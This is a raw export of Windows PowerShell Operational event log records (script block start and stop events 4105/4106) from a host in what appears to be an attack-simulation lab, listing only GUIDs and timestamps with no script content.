ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027346
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027345
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027344
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027343
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027342
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027341
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027340
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027339
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027338
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027337
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027336
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027335
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027334
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027333
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027332
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027331
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027330
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027329
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027328
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027327
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027326
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027325
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027324
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027323
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027322
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027321
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027320
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027319
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027318
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027317
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027316
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027315
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027314
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027313
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027312
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027311
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027310
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027309
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027308
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027307
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027306
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027305
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027304
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027303
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027302
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027301
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027300
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027299
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027298
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027297
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027296
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027295
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027294
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027293
Keywords=None
